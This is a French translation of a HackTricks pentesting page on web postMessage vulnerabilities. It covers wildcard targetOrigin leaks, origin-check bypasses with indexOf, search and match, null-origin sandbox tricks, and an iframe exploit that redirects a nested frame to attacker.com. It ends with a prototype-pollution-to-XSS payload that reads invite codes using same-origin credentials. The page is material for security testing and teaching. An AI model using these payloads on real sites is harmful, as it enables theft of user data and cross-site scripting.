hacktricks/pentesting-web/postmessage-vulnerabilities
2024-01-01 18:37:39 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to French 2023-06-03 13:10:46 +00:00
bypassing-sop-with-iframes-1.md Translated to French 2023-06-03 13:10:46 +00:00
bypassing-sop-with-iframes-2.md Translated to French 2023-06-03 13:10:46 +00:00
README.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:37:39 +00:00
steal-postmessage-modifying-iframe-location.md Translated to French 2023-06-03 13:10:46 +00:00

Vulnérabilités PostMessage

Vulnérabilités PostMessage

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Envoyer PostMessage

PostMessage utilise la fonction suivante pour envoyer un message :

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Notez que targetOrigin peut être un '*' ou une URL comme https://company.com.
Dans le deuxième scénario, le message ne peut être envoyé qu'à ce domaine (même si l'origine de l'objet window est différente).
Si le joker est utilisé, les messages pourraient être envoyés à n'importe quel domaine, et seront envoyés à l'origine de l'objet Window.

Attaquer un iframe & joker dans targetOrigin

Comme expliqué dans ce rapport si vous trouvez une page qui peut être iframée (pas de protection X-Frame-Header) et qui envoie un message sensible via postMessage en utilisant un joker (*), vous pouvez modifier l'origine de l'iframe et fuir le message sensible vers un domaine que vous contrôlez.
Notez que si la page peut être iframée mais que le targetOrigin est défini sur une URL et non sur un joker, cette astuce ne fonctionnera pas.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Exploitation de addEventListener

addEventListener est la fonction utilisée par JS pour déclarer la fonction qui attend des postMessages.
Un code similaire au suivant sera utilisé :

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Notez dans ce cas comment la première chose que fait le code est de vérifier l'origine. C'est extrêmement important, surtout si la page doit effectuer des actions sensibles avec les informations reçues (comme changer un mot de passe). Si elle ne vérifie pas l'origine, les attaquants peuvent amener les victimes à envoyer des données arbitraires à ces points de terminaison et changer les mots de passe des victimes (dans cet exemple).

Énumération

Pour trouver des écouteurs d'événements sur la page actuelle, vous pouvez :

  • Chercher dans le code JS window.addEventListener et $(window).on (version JQuery)
  • Exécuter dans la console des outils de développement : getEventListeners(window)

  • Aller à Éléments --> Écouteurs d'événements dans les outils de développement du navigateur

Contournements de la vérification d'origine

  • event.isTrusted est vrai lorsque l'événement a été généré par une action de l'utilisateur. Pas vraiment contournable si correctement mis en place, mais il vaut la peine d'être mentionné.
  • Si indexOf() est utilisé pour vérifier l'origine de l'événement PostMessage, rappelez-vous qu'il peut être facilement contourné comme dans l'exemple suivant :
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Si search() est utilisé pour valider l'origine, cela pourrait être non sécurisé. Selon la documentation de String.prototype.search(), la méthode prend un objet d'expression régulière au lieu d'une chaîne de caractères. Si autre chose qu'une regexp est passée, cela sera implicitement converti en regex.
    Dans une expression régulière, un point (.) est traité comme un joker. Un attaquant peut en tirer avantage et utiliser un domaine spécial au lieu de l'officiel pour contourner la validation, comme dans :
"https://www.safedomain.com".search("www.s.fedomain.com")
  • Tout comme dans l'exemple précédent, match() vérifie également une regex, donc si la regex est mal formée, elle pourrait être contournable.
  • Si la fonction escapeHtml est utilisée, la fonction ne crée pas un objet échappé new, à la place elle écrase les propriétés de l'objet existant. Cela signifie que si nous sommes capables de créer un objet avec une propriété contrôlée qui ne répond pas à hasOwnProperty, elle ne sera pas échappée.
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

L'objet File est parfait pour cette exploitation car il possède une propriété name en lecture seule qui est utilisée par notre modèle et contournera la fonction escapeHtml.

Contournement de e.origin == window.origin

Lorsqu'une page est intégrée dans une iframe sandboxée via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">, l'origin de cette iframe sera null.

Lorsque la valeur sandbox allow-popups est définie, alors la popup ouverte héritera de tous les attributs sandboxés à moins que allow-popups-to-escape-sandbox ne soit défini.
Ainsi, ouvrir une popup depuis une origin null rendra window.origin à l'intérieur de la popup également null.

Par conséquent, si vous ouvrez une iframe sandboxée autorisant les popups, puis vous ouvrez une popup depuis l'intérieur de l'iframe, et envoyez un postMessage de l'iframe à la popup, les deux origins sont null donc : e.origin == window.origin == null

Pour plus d'informations lisez :

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

Contournement de e.source

Il est possible de vérifier si le message provient de la même fenêtre où le script est en écoute (particulièrement intéressant pour les Scripts de Contenu des extensions de navigateur pour vérifier si le message a été envoyé depuis la même page) :

// If its not, return immediately.
if( received_message.source !== window ) {
return;
}

Vous pouvez forcer e.source d'un message à être null en créant un iframe qui envoie le postMessage et est immédiatement supprimé.

Pour plus d'informations lisez :

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

Contournement du X-Frame-Header

Pour réaliser ces attaques idéalement, vous devriez pouvoir mettre la page web victime dans un iframe. Mais certains en-têtes comme X-Frame-Header peuvent empêcher ce comportement.
Dans ces scénarios, vous pouvez toujours utiliser une attaque moins discrète. Vous pouvez ouvrir un nouvel onglet vers l'application web vulnérable et communiquer avec elle :

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Vol de message envoyé à l'enfant en bloquant la page principale

Dans la page suivante, vous pouvez voir comment vous pourriez voler des données postmessage sensibles envoyées à un iframe enfant en bloquant la page principale avant d'envoyer les données et en abusant d'un XSS dans l'enfant pour fuir les données avant qu'elles soient reçues :

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

Vol de message en modifiant l'emplacement de l'iframe

Si vous pouvez intégrer une page web sans en-tête X-Frame dans un iframe qui contient un autre iframe, vous pouvez changer l'emplacement de cet iframe enfant, donc si il reçoit un postmessage envoyé en utilisant un joker, un attaquant pourrait changer l'origine de cet iframe vers une page contrôlée par lui et voler le message :

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage vers Pollution de Prototype et/ou XSS

Dans des scénarios où les données envoyées via postMessage sont exécutées par JS, vous pouvez intégrer la page dans un iframe et exploiter la pollution de prototype/XSS en envoyant l'exploit via postMessage.

Un couple d'explications très bien faites de XSS via postMessage peuvent être trouvées sur https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Exemple d'un exploit pour abuser de Pollution de Prototype puis XSS à travers un postMessage vers un iframe :

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Pour plus d'informations :

Références

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert) !

Autres moyens de soutenir HackTricks :